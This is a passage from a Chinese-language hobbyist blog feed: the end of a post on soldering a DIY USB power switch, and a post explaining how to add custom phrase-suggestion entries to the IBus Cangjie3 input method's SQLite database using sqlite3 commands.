<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj365yDW3UOGLckIx42wCKv-honoO5oa_KiEcahkQFmOQVRNXrVvaB4Br4nJDryMp1fpDz-4Y__bHUWjQ-iQ_VIXhyMXwJcJxxghd9Vtn2IlgqXxvbPU2UA6Y5YRVGyr_bOWSbp3fi2TS4zI0mr-Vuk4k6uO0auBYB3CJ4Y-cMkqZPSOoJZ2eXQUOE0koo/w0/diy-usb-on-off-switch-015.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj365yDW3UOGLckIx42wCKv-honoO5oa_KiEcahkQFmOQVRNXrVvaB4Br4nJDryMp1fpDz-4Y__bHUWjQ-iQ_VIXhyMXwJcJxxghd9Vtn2IlgqXxvbPU2UA6Y5YRVGyr_bOWSbp3fi2TS4zI0mr-Vuk4k6uO0auBYB3CJ4Y-cMkqZPSOoJZ2eXQUOE0koo/w600/diy-usb-on-off-switch-015.jpg"/></a></div>
<p>但背面則沒有受力點能夠讓 <span class="mra-highlighter">USB插頭的外殼</span> 固定</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh816I1R95B-m9aSyz5hbwb1oYGUY5G-OsMLS0Tjm_4A4b7V1Vw1VQqFex9Xh8gVzaJaiDigllqfNSj7JqaeAdita9jyRpii0xkggdMQppk8B1OK-6GXnx1cwssb2PGMZJwGP6OhyphenhyphenEsO9Cviwe7g3BOr_tFpnJkmUi33o8xjLBwJl1PyIeCd7oVpgWtLhs/w0/diy-usb-on-off-switch-016.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh816I1R95B-m9aSyz5hbwb1oYGUY5G-OsMLS0Tjm_4A4b7V1Vw1VQqFex9Xh8gVzaJaiDigllqfNSj7JqaeAdita9jyRpii0xkggdMQppk8B1OK-6GXnx1cwssb2PGMZJwGP6OhyphenhyphenEsO9Cviwe7g3BOr_tFpnJkmUi33o8xjLBwJl1PyIeCd7oVpgWtLhs/w600/diy-usb-on-off-switch-016.jpg"/></a></div>
<p>而 USB Type-A 插孔則安置在相對的位置,插頭與插孔保留一些空間焊接線路及零件</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZBqP6Aynwz1ugNT6waASawoDOkNHECLzirF69N9IEaAziztJ60rzGBmrq42H-hz1wLym502KOCVgX12wUXP_38jgrACCAFPceScWgLOiVCi9o18q1gbBPq00yVvTwFbYYuvDrGRQD6kKkhA1QN5i8DXOOP22eQn6ikNUFEbxGc-92RbB9tY9PaKDG9Mg/w0/diy-usb-on-off-switch-017.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZBqP6Aynwz1ugNT6waASawoDOkNHECLzirF69N9IEaAziztJ60rzGBmrq42H-hz1wLym502KOCVgX12wUXP_38jgrACCAFPceScWgLOiVCi9o18q1gbBPq00yVvTwFbYYuvDrGRQD6kKkhA1QN5i8DXOOP22eQn6ikNUFEbxGc-92RbB9tY9PaKDG9Mg/w600/diy-usb-on-off-switch-017.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg46tYWqYD_jp-IOjAdqH3DVgE0sU8by4N5ZuwTTkeVMBvs3BVO-EAcd7DWsAlTTby2xRGCX6PZjtHsyNAJJLLXZipqvtnYyYA-S74cOU-uJ0WrifLVHoWzQSko34fb3uu7nMlGM6NiX7u4BjKDPAGrlFiuLCQNe3zxrXavFy3Q8EsKyjlDYYV4ULppwiM/w0/diy-usb-on-off-switch-018.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg46tYWqYD_jp-IOjAdqH3DVgE0sU8by4N5ZuwTTkeVMBvs3BVO-EAcd7DWsAlTTby2xRGCX6PZjtHsyNAJJLLXZipqvtnYyYA-S74cOU-uJ0WrifLVHoWzQSko34fb3uu7nMlGM6NiX7u4BjKDPAGrlFiuLCQNe3zxrXavFy3Q8EsKyjlDYYV4ULppwiM/w600/diy-usb-on-off-switch-018.jpg"/></a></div>
<p>但 USB插孔外殼的固定腳 卻因為太粗無法穿過通孔</p>
<p>不論插頭及插孔都有一些安裝問題,需要稍作加工才能正確使用</p>
<a name="實際製作焊接"></a><h5 class="mra-h5">焊接</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrVPhe6NPyAAs0d29fhW6_Cd89KDT-zE2elFDwDRuUjpOyMaiv8KahXKlhED_CaLhliykDvugoXS6BExJhB44E-1ugGgM31gQs67kmI13HsClz16rh9mhh8BCwJMCenjOmBvWb9TW9Bubhn8vYUKwnVJVnC-WMFuaDzrnuR3b3GiIMHiAJRRblxzMiqzI/w0/diy-usb-on-off-switch-019.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrVPhe6NPyAAs0d29fhW6_Cd89KDT-zE2elFDwDRuUjpOyMaiv8KahXKlhED_CaLhliykDvugoXS6BExJhB44E-1ugGgM31gQs67kmI13HsClz16rh9mhh8BCwJMCenjOmBvWb9TW9Bubhn8vYUKwnVJVnC-WMFuaDzrnuR3b3GiIMHiAJRRblxzMiqzI/w600/diy-usb-on-off-switch-019.jpg"/></a></div>
<p>雖然已經將 USB插頭 4支引腳 焊接到通孔,但由於沒有通孔讓外殼焊接<br/>
拔插時,4支引腳會承受所有壓力,經常拔插引腳很快便會折斷</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAcuN-EcBXzgZArplON4trvRZX2MGaYHBzXa4gsS-a8AalD7zA1PLLNej0CSv5WbJfnewIDnTIRE11CECPBvue_gcz4LvexFzUY-ScfShtCshxY3UQRwXRjgaMj_5z56Dhc2OIPUp84y1WWoKeMMOmlFdC7mNWYHclv1cUw251_4yA5Bd4ZsU9j-uI2Vo/w0/diy-usb-on-off-switch-020.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAcuN-EcBXzgZArplON4trvRZX2MGaYHBzXa4gsS-a8AalD7zA1PLLNej0CSv5WbJfnewIDnTIRE11CECPBvue_gcz4LvexFzUY-ScfShtCshxY3UQRwXRjgaMj_5z56Dhc2OIPUp84y1WWoKeMMOmlFdC7mNWYHclv1cUw251_4yA5Bd4ZsU9j-uI2Vo/w600/diy-usb-on-off-switch-020.jpg"/></a></div>
<p>要避免發生,必須增加受力點,將壓力分散<br/>
使用銅線加長,將 USB外殼 延伸到通孔焊接<br/>
不過,即使延伸到通孔,但因為位置與4支引腳相近,所以4支引腳仍然會承受不少壓力</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWhFhR-PlV4oKHOSBhqWvZEqLX0iJyP-jd9RugcWim-LYlDNwwke1ZVnB21DRvGgp3EmULR4p80lvhjsh4w7cwA3A4CGlPpU5N7g8ixmZbfidDIXQxQR48FxZSVax5aRKcfhj3VbfQjhk1N8ARiUsIL41eHHPhbIDrS-ezFl41hJ86kKJ9tRSU8uOHemg/w0/diy-usb-on-off-switch-022.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWhFhR-PlV4oKHOSBhqWvZEqLX0iJyP-jd9RugcWim-LYlDNwwke1ZVnB21DRvGgp3EmULR4p80lvhjsh4w7cwA3A4CGlPpU5N7g8ixmZbfidDIXQxQR48FxZSVax5aRKcfhj3VbfQjhk1N8ARiUsIL41eHHPhbIDrS-ezFl41hJ86kKJ9tRSU8uOHemg/w600/diy-usb-on-off-switch-022.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEing24KxqRmiadILLQoxWw87F75U-z4BdfAFD7Xki_AsOGBZ1O-bOpAe6dKlUUgrFJ3HuncnxyCOZEMR4MiqnN5qVg_xxNjvTLDo-lTz4yQ8ziJm0WmgKeFb8CLvZ6RwMJBYwm3B6hpBoyUxQ7JuimyovvAPq_7hA5hc0SkkV5F6YAciW8v7PoQHkZzaSI/w0/diy-usb-on-off-switch-021.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEing24KxqRmiadILLQoxWw87F75U-z4BdfAFD7Xki_AsOGBZ1O-bOpAe6dKlUUgrFJ3HuncnxyCOZEMR4MiqnN5qVg_xxNjvTLDo-lTz4yQ8ziJm0WmgKeFb8CLvZ6RwMJBYwm3B6hpBoyUxQ7JuimyovvAPq_7hA5hc0SkkV5F6YAciW8v7PoQHkZzaSI/w600/diy-usb-on-off-switch-021.jpg"/></a></div>
<p>因此在下直接將背面的焊墊焊接到 USB外殼底部<br/>
當拔插 USB 時,可以用整個 USB外殼 來承受壓力</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnyb-Sx1JbfpMW-CsjAtcCjiUkTfr46-yRhyznwGtJSWbos_LMLtZj10Lzjc2kjBzDSfBJSY49JpEZLLDcLff1WBVWk-mv-QMmaHKzGo7zzaRoOwEwFjd_Hw0Ej7khg8knaVxbmXtjN_wXSNQFHG7Slafi4PcAR0OxpTAGiFm_EnwDS3JF_lSPbJDQUeY/w0/diy-usb-on-off-switch-023.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnyb-Sx1JbfpMW-CsjAtcCjiUkTfr46-yRhyznwGtJSWbos_LMLtZj10Lzjc2kjBzDSfBJSY49JpEZLLDcLff1WBVWk-mv-QMmaHKzGo7zzaRoOwEwFjd_Hw0Ej7khg8knaVxbmXtjN_wXSNQFHG7Slafi4PcAR0OxpTAGiFm_EnwDS3JF_lSPbJDQUeY/w600/diy-usb-on-off-switch-023.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKbfW0WTVm_qU81W9LAqc42jJZfwCdktyRhPbJz7Qy_bRWXHFqIPUGKfP1FLwn7jjplbOXFrqzebwMwP3PZKcNwaZimKJOkH7l9cYeVDxi8sGXE_TciHiAg-8nYCCiYgTDk74XntCFW_oX165zOGV_OqLCL1-sssnwg0q7IAdbp59H1jkkN8L5ihe3G4Y/w0/diy-usb-on-off-switch-024.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKbfW0WTVm_qU81W9LAqc42jJZfwCdktyRhPbJz7Qy_bRWXHFqIPUGKfP1FLwn7jjplbOXFrqzebwMwP3PZKcNwaZimKJOkH7l9cYeVDxi8sGXE_TciHiAg-8nYCCiYgTDk74XntCFW_oX165zOGV_OqLCL1-sssnwg0q7IAdbp59H1jkkN8L5ihe3G4Y/w600/diy-usb-on-off-switch-024.jpg"/></a></div>
<p>而 USB外殼的固定引腳 由於太粗,需要打磨、削走大概半支固定腳才能穿過通孔</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOwBctFhOyVcC1eDJyW47naXAIwFvoWDBGlxDTT2rbjogzmmkdb4EctznO7XHxShoEcNENJ4SbpbyGgQdX6gbqynfGJh4YoO74iH2EBMPvjZKY_GstDgY-SWVczSaFHeOvd-oY7uTFbyxO1Ho-6jvbTMKqSDiQX_DL5DiOSe3F7i21dzljmTfUC0lBP28/w0/diy-usb-on-off-switch-025.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOwBctFhOyVcC1eDJyW47naXAIwFvoWDBGlxDTT2rbjogzmmkdb4EctznO7XHxShoEcNENJ4SbpbyGgQdX6gbqynfGJh4YoO74iH2EBMPvjZKY_GstDgY-SWVczSaFHeOvd-oY7uTFbyxO1Ho-6jvbTMKqSDiQX_DL5DiOSe3F7i21dzljmTfUC0lBP28/w600/diy-usb-on-off-switch-025.jpg"/></a></div>
<p>其餘零件都是一般焊接方法即可</p>
<a name="實際製作實際線路"></a><h5 class="mra-h5">實際線路</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIY-rdVLv4xNZAH6XOqr1-gZiPaLHJw1bYn3KxTngmNOVlB6Mb2us6PsF3Ka4vNiiKeN61sPJb778p5YDgJqvmpxwPhisGYOH13-aUlFEou3N-UBPPQwjjnBUl1nGABjFz2Tydj1hw3lsaBmtOiA__TO_r4KDvK7qEbyb8SGwKXPVesJk64SoyDIrm1uQ/w0/diy-usb-on-off-switch-026.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIY-rdVLv4xNZAH6XOqr1-gZiPaLHJw1bYn3KxTngmNOVlB6Mb2us6PsF3Ka4vNiiKeN61sPJb778p5YDgJqvmpxwPhisGYOH13-aUlFEou3N-UBPPQwjjnBUl1nGABjFz2Tydj1hw3lsaBmtOiA__TO_r4KDvK7qEbyb8SGwKXPVesJk64SoyDIrm1uQ/w600/diy-usb-on-off-switch-026.jpg"/></a></div>
<p>因為想節省資源,所以將零件的引腳當作跳線焊接<br/>
在下將所有線路都焊接在背面,感覺比較美觀;亦以顏色跳線連接引腳,方便辨認用途</p>
<a name="實際製作測試效果"></a><h5 class="mra-h5">測試效果</h5>
<div><a href="https://photos.google.com/share/AF1QipOXsK0KNGs2A-gB_RYtUWRS_72r1uRLGBs_xHldiqknJ3lKyYI5AfVX83cj6jc4mQ/photo/AF1QipMhAmlVGc4gd8oWGxoICLVrhWxAw0BGyVAoMq5Z?key=Yk5JTUZINHljQWJnMWVYZUk2Y3F1YzlqYkNyVGJ3"><img alt="見下文" title="見下文" width="600" src="https://lh3.googleusercontent.com/-4hueHjD9ZsM/ZRxdCrPCM-I/AAAAAAADFxU/bNfDPMxpAX0yx4dkgPbEWktseMIe9AkagCEwYBhgLKpcGAPYkdFuKDod4cWN0zrgCUYDVT19eVxo2Bye2awCFYk4JUdTNNWoKO4wZdjzfmWn2U4Vdn79N88HnMyyAPc3UQ02PcIUhi979LD8oeq__zhUMbKd4ZpRKjlzaU53GBiYx3U75iD295YpTZ8JQGWsH2nz5n5h7FHeS1DAWUCLAOKXH9mRqRAK0FVDVN247N-Nac8QsyWUTpvOTn6acN2WqkEEPVmQL7HNjR9k29Et8TAaYnCS5q62RfbmxVD316qdqpmpwO_l2w7qfVO7Hnl74bxIIlazGqhbW19DY48QKVecY7zJxQb1WZcucBtuvZrKQlR1_JFZ7zfIBlG2mdSIRehQ-thQsqboxXaSAG9a8KwzRXt-347Qn87yz7e5TDiXqqvsIIM8S4RYEF4Ampo9qWLBe_nNDtEHIO1EayeBLT992_1I3ZNJZNET3oeo809ia3vijhRaBprwSu2Uyyfz5yy6ARieFDbe6OWFKMEDEOV1rYDUoZs2bPsrLhHQxJRo2ixZaKBFUk9rLW1xLbGqYyjfGSMqzVpSgKrwk23UwNnKKNwJwmVWV_hN8KE-vjLx2cJOU1Ny5CXcCYuqd1cBAgOWeKZ3Bv-bywxLjm5GYgRXTwOABiog3uPvV9SKzg7Cqxky7cxcjIuBStvh0ze0TaDkJMcOO6dOwDfn_aMBgvLmsmjzbATnMPZVJ0pi3a3UBT4VQCHMdORBjeatJCLqJAXeQ21jIDK6bC3yXw_ZHLR_1YJbbljM9ro9TARI9VmWdEnE3mk0uMpaYwvtfP5brnZme8azS4iyIkrqzZA2rSA5llsqjBG42sw3vHLZfvjdy0kzpcBE2aS9kzCldBydsUcoYpZ4AIFiIzR1hlFbmzOZkuEKie6wHAPMctXxibQM_UisK8BUkQ0w9jHUwIsDl5Qzpp-b6fMPeaJHCadEropOeTleoc75FOLe-dbi8T1wm2V9wapYARiNGSJr2mf8w3W7M9yhuyMdUCfhYvzIoYCDKxGz-zhG3TWM1u3UEkxnuBZnwZlagmdVtxDr_qPZf1D1NvSXp6H0w18LxqAY/w600/diy-usb-on-off-switch-027.mp4"/></a></div>
<p>測試結果與使用麵包板的結果相同</p>
<a name="總結"></a><h4 class="mra-h4">總結</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8Gp4pSHAzJu9Q9wEJEZulouW-C5ESR37yrpgYrM_rqT13nEW0t26L2ad_cjgHP7YN88u_3lMJTgaJjGcI5AQu7ErWqP-cfCKli2NY2cRncOlu8hyphenhyphenB0XR0dBgbLJpFR4VjXuj1-wkmI2YYSQANgr1Q2mRq97fIanpKySjVwVzzqvhgqKKd2v74dRwlX1s/w600/diy-usb-on-off-switch-029.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8Gp4pSHAzJu9Q9wEJEZulouW-C5ESR37yrpgYrM_rqT13nEW0t26L2ad_cjgHP7YN88u_3lMJTgaJjGcI5AQu7ErWqP-cfCKli2NY2cRncOlu8hyphenhyphenB0XR0dBgbLJpFR4VjXuj1-wkmI2YYSQANgr1Q2mRq97fIanpKySjVwVzzqvhgqKKd2v74dRwlX1s/w600/diy-usb-on-off-switch-029.jpg"/></a></div>
<p>由於沒有金屬的位置無法將焊錫沾附,因此在下將銅線繞成長方形,焊接到萬用板的焊墊<br/>
再將銅線焊接在 USB外殼 ,再將焊錫填滿整個長方形銅線範圍,意想不到地穩固</p>
<p>由於在下使用 的 USB插頭插孔都是 USB 2.0 版本,因此最多只支援 USB 2.0 的效能<br/>
由於 USB 3.0 Type-A 的插頭沒有通孔版本,如果要支援 USB 3.0<br/>
必須繪製及印刷電路板,製作的成本及時間便會比較高<br/>
可能將來有需要的話,再製作支援 USB 3.0 的開關掣</p>
<p>坊間都有不少具備開關掣的 USB延長線,價錢大約30元左右<br/>
由於在下已經擁有這些零件,因此想嘗試自行製作,所有零件大約2元港幣,製作時間大約30分鐘<br/>
</p>
<a name="參考資料"></a><h4 class="mra-h4">參考資料</h4>
<div>
<ul>
<li><a href="https://www.usb.org/document-library/usb-20-specification">USB 2.0 規格 @ usb.org</a></li>
</ul>
</div>HKGoldenMr.Ahttp://www.blogger.com/profile/03544013074844149004noreply@blogger.com0tag:blogger.com,1999:blog-4749999961332526255.post-68583103837028799962023-10-01T11:31:00.002+08:002023-10-01T13:35:42.838+08:00IBus 自訂聯想字列表<div>最近有一位朋友向在下查詢, Linux 有否提供聯想字列表的中文輸入法<br/>
由於在下通常都是每個中文字都是直接輸入,因此沒有考慮這些問題<br/>
因此嘗試了解有否相關技術</div>
<a name='more'></a>
<div class="mra-index">
<ul>
<li><a href="#使用SQlite">使用 SQlite</a></li>
<li><a href="#IBus資料庫">IBus 資料庫</a></li>
<li><a href="#Phrases資料表">Phrases 資料表</a></li>
<li><a href="#使用phpLiteAdmin">使用 phpLiteAdmin</a></li>
<li><a href="#總結">總結</a></li>
<li><a href="#參考資料">參考資料</a></li>
</ul>
</div>
<div>在下在 Linux 上主要是使用 <span class="mra-highlighter">IBus</span> ,但 IBus 並 <span class="mra-highlighter">沒有提供聯想字列表</span><br/>
幸好 IBus <span class="mra-highlighter">容許使用者自行定義文字輸入的方法</span>,因此可以按自己需要修改資料及製作輸入法</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqiZyNdZToBIwSgYFs3lxG2EWA6RZbywkGBQJFdsie24UdaINqnKJUxIjLtqrcA7jH4n_jq-GXCn_lKtrvzr3rEwBvIfDoV0QQmx0eInX5gQZlALqjeppDokR3ctmyjQUtPb4p3PdVPLM5gkcVNJZ2NZWaRfeFsX_e5gYkT9s8_P0F-vvUlux-h0wZQmI/w0/ibus-custom-phrases-001.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqiZyNdZToBIwSgYFs3lxG2EWA6RZbywkGBQJFdsie24UdaINqnKJUxIjLtqrcA7jH4n_jq-GXCn_lKtrvzr3rEwBvIfDoV0QQmx0eInX5gQZlALqjeppDokR3ctmyjQUtPb4p3PdVPLM5gkcVNJZ2NZWaRfeFsX_e5gYkT9s8_P0F-vvUlux-h0wZQmI/w600/ibus-custom-phrases-001.png"/></a></div>
<div>例如在下通常使用 <span class="mra-highlighter">倉頡輸入法</span> 輸入中文字,輸入中文字後沒有聯想字提供</div>
<br/>
<a name="使用SQlite"></a><h4 class="mra-h4">使用 SQlite</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRunP3RQQ3P3cNTzwk3UO821uQ8VE3vQDm9pCtuG07ZhVxvx7HtlZzMIe_o1NzL6rBWjnHhB3FwMMICWHWHD3jYXBK55FjUH1EQj_Y-7jtM_Br7ft9_2oabGmoKtcpW4t4lV5hcLEjVJYnJdV5dt4cM0VSexEWl2U8XtxKifgkRKVveVaACN8eMBcr5TQ/w0/ibus-custom-phrases-002.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRunP3RQQ3P3cNTzwk3UO821uQ8VE3vQDm9pCtuG07ZhVxvx7HtlZzMIe_o1NzL6rBWjnHhB3FwMMICWHWHD3jYXBK55FjUH1EQj_Y-7jtM_Br7ft9_2oabGmoKtcpW4t4lV5hcLEjVJYnJdV5dt4cM0VSexEWl2U8XtxKifgkRKVveVaACN8eMBcr5TQ/w600/ibus-custom-phrases-002.png"/></a></div>
<div>在下使用 <span class="mra-highlighter">倉頡3</span> 並作為例子,Linux Mint 安裝 倉頡3 後,其檔案位置在 <span class="mra-highlighter">/usr/share/ibus-table/tables/cangjie3.db</span></div>
<br/>
<div>IBus 使用 <span class="mra-highlighter">SQLite資料庫</span> 作為資料及設定檔案<br/>
雖然 SQLite格式 並非純文字格式,但 SQLite 是一種開源資料庫管理系統,只需要使用 SQL指令 便可以存取內容</div>
<br/>
<div>在 Terminal 輸入</div>
<pre class="brush:bash">sudo apt install sqlite3</pre>
<div>或 <a href="apt:sqlite3">按此按裝 SQLite3</a></div>
<br/>
<a name="IBus資料庫"></a><h4 class="mra-h4">IBus 資料庫</h4>
<div>安裝 SQLite3 後,便可以了解資料庫的內容,輸入:</div>
<pre class="brush:bash">echo '.tables' | sqlite3 '/usr/share/ibus-table/tables/cangjie3.db'</pre>
<div>會列出資料庫中所有資料表:
<ul>
<li><span class="mra-highlighter">goucima</span> 為 文字的構詞碼</li>
<li><span class="mra-highlighter">ime</span> 為 輸入法的設定值</li>
<li><span class="mra-highlighter">phrases</span> 為 輸出的文字</li>
<li><span class="mra-highlighter">pinyin</span> 為 中文輸入法的拼音內容</li>
</ul>
</div>
<br/>
<a name="Phrases資料表"></a><h4 class="mra-h4">Phrases 資料表</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiy-p5covvgUlOiXERzudkfRRIMSaIzcjTqkzs_MtBZNN-7KJpALlUsVGVvW8wneGHwxAEVXLi1AbF4xBwu6u9UjBJmcyE5GzM1mWj4GHwDHWu8Ah8JQUjsD6ddoL3r-UxjhmyjehhkOZoxVI-HNp__Ix6YhS_YRjoL2Q4Sk4aV6wNwz5oo38Qsw8whx04/w0/ibus-custom-phrases-003.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiy-p5covvgUlOiXERzudkfRRIMSaIzcjTqkzs_MtBZNN-7KJpALlUsVGVvW8wneGHwxAEVXLi1AbF4xBwu6u9UjBJmcyE5GzM1mWj4GHwDHWu8Ah8JQUjsD6ddoL3r-UxjhmyjehhkOZoxVI-HNp__Ix6YhS_YRjoL2Q4Sk4aV6wNwz5oo38Qsw8whx04/w600/ibus-custom-phrases-003.png"/></a></div>
<div>要自訂聯想字列表主要是在 <span class="mra-highlighter">phrases</span> 資料表中加入需要文字內容<br/>
而變動 phrases 資料表 的內容前,需要了解資料表的結構,輸入:</div>
<pre class="brush:bash">echo '.schema phrases' | sqlite3 '/usr/share/ibus-table/tables/cangjie3.db'</pre>
<div>會顯示 phrases 資料表 的結構</div>
<pre class="brush:sql">CREATE TABLE phrases (
id INTEGER PRIMARY KEY,
tabkeys TEXT,
phrase TEXT,
freq INTEGER,
user_freq INTEGER
);</pre>
<div>
<ul>
<li><span class="mra-highlighter">id</span> 為 主鍵,任意不重覆整數</li>
<li><span class="mra-highlighter">tabkeys</span> 為 以鍵盤輸入的字符</li>
<li><span class="mra-highlighter">phrase</span> 為 輸出的文字內容</li>
<li><span class="mra-highlighter">freq</span> 為 不使用動態排列的次序,大至小排列;如果相同則按 id 小至大排列</li>
<li><span class="mra-highlighter">user_freq</span> 為 使用動態排列的次序,大至小排列;如果相同則按 id 小至大排列;輸出對應的文字內容後,數值自動加1</li>
</ul>
</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLYTEKKX61e4LZ5suWcsc8M0kLjsfwikDAj-0ZMo0rFqS_yS3YLMelKvrJ39BnWqX701NYR08Gh-WaR9Pv-Nd4_kdraElzm0KHP_J32KE2WnpX_wvwLJ5xqFaE6L5rpcefch0-ors2W1nNCGqD5x_rf2ZUNt1rvUrKGlLifspG_JRgTBAAtx3EMDXxApQ/w0/ibus-custom-phrases-004.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLYTEKKX61e4LZ5suWcsc8M0kLjsfwikDAj-0ZMo0rFqS_yS3YLMelKvrJ39BnWqX701NYR08Gh-WaR9Pv-Nd4_kdraElzm0KHP_J32KE2WnpX_wvwLJ5xqFaE6L5rpcefch0-ors2W1nNCGqD5x_rf2ZUNt1rvUrKGlLifspG_JRgTBAAtx3EMDXxApQ/w600/ibus-custom-phrases-004.png"/></a></div>
<div>例如在下替「驚」字加上聯想字列表,先尋找「驚」字的資料,輸入:</div>
<pre class="brush:bash">echo 'SELECT * FROM phrases WHERE phrase LIKE "驚";' | sqlite '/usr/share/ibus-table/tables/cangjie3.db'</pre>
<div>顯示「驚」字的資料為:</div>
<pre class="brush:bash">10732|tksqf|驚|500|0</pre>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiJ6OeKlF0li5Xkdn2YLr9deZf0qyitfiKTXp4iSqnJuRoTVfJ9olvkcq3C1pkrFeanpbjEGBIsAUz3aMbhdNe_dxbQKg5A_XlW98zOoeKpSkThiQ5_eYPBikXNPnwJwYSPoUoHL7m8n5iHjOLy9mZh98jrXFfPAzEGxPQKbGU0lHjy1sSE85tI8XOSpI/w0/ibus-custom-phrases-005.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiJ6OeKlF0li5Xkdn2YLr9deZf0qyitfiKTXp4iSqnJuRoTVfJ9olvkcq3C1pkrFeanpbjEGBIsAUz3aMbhdNe_dxbQKg5A_XlW98zOoeKpSkThiQ5_eYPBikXNPnwJwYSPoUoHL7m8n5iHjOLy9mZh98jrXFfPAzEGxPQKbGU0lHjy1sSE85tI8XOSpI/w600/ibus-custom-phrases-005.png"/></a></div>
<div>在下為了方便尋找原文字及配詞內容,因此聯想字列表的 id 的為原文字加上 00 至 99</div>
<br/>
<div>由於需要將資料寫入到 /usr/share/ibus-table/tables/cangjie3.db ,因此執行時,需要以 root 或 sudo 執行 sqlite3<br/>
輸入:</div>
<pre class="brush:bash">echo 'INSERT INTO phrases VALUES(1073200, "tksqf", "驚慌", 500, 0);' | sudo sqlite3 '/usr/share/ibus-table/tables/cangjie3.db'
echo 'INSERT INTO phrases VALUES(1073201, "tksqf", "驚恐", 500, 0);' | sudo sqlite3 '/usr/share/ibus-table/tables/cangjie3.db'
echo 'INSERT INTO phrases VALUES(1073202, "tksqf", "驚慄", 500, 0);' | sudo sqlite3 '/usr/share/ibus-table/tables/cangjie3.db'</pre>
<div>(閣下不一定使用相同的聯想字列表)</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRk9UXqOBF7u4WhUwB-i8-zCqTvxjSsJppPDCBVAr9_EegiHyU0phUGHIW2PdmgRNjGTxmnCo49hEqeQWrJn7wkXjPMO0f7WRAs5xUdKQB_jfCEyR72vYtetcQKiSQR65rhbNI9SCwTs-t8dC1Ow05pRdf6CzyTr-89UHRo5Dk-kR8MEmqd4ka_MQDIVk/w0/ibus-custom-phrases-006.png"><img alt="見下文" title="見下文" height="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRk9UXqOBF7u4WhUwB-i8-zCqTvxjSsJppPDCBVAr9_EegiHyU0phUGHIW2PdmgRNjGTxmnCo49hEqeQWrJn7wkXjPMO0f7WRAs5xUdKQB_jfCEyR72vYtetcQKiSQR65rhbNI9SCwTs-t8dC1Ow05pRdf6CzyTr-89UHRo5Dk-kR8MEmqd4ka_MQDIVk/w600/ibus-custom-phrases-006.png"/></a></div>
<div>完成後,輸入相同的字碼時,會顯示聯想字列表</div>
<br/>
<a name="使用phpLiteAdmin"></a><h4 class="mra-h4">使用 phpLiteAdmin</h4>
<div>使用指令操作雖然方便,但互動性則比較低<br/>
可以使用 <span class="mra-highlighter">phpLiteAdmin</span> , phpLiteAdmin 是一種借助 PHP 在網頁方式操作 SQLite資料庫 的工具<br/>
可以在 <a href="https://www.phpliteadmin.org/phpliteadmin-dev.zip">https://www.phpliteadmin.org/phpliteadmin-dev.zip</a> 下載</div>
<br/><!--
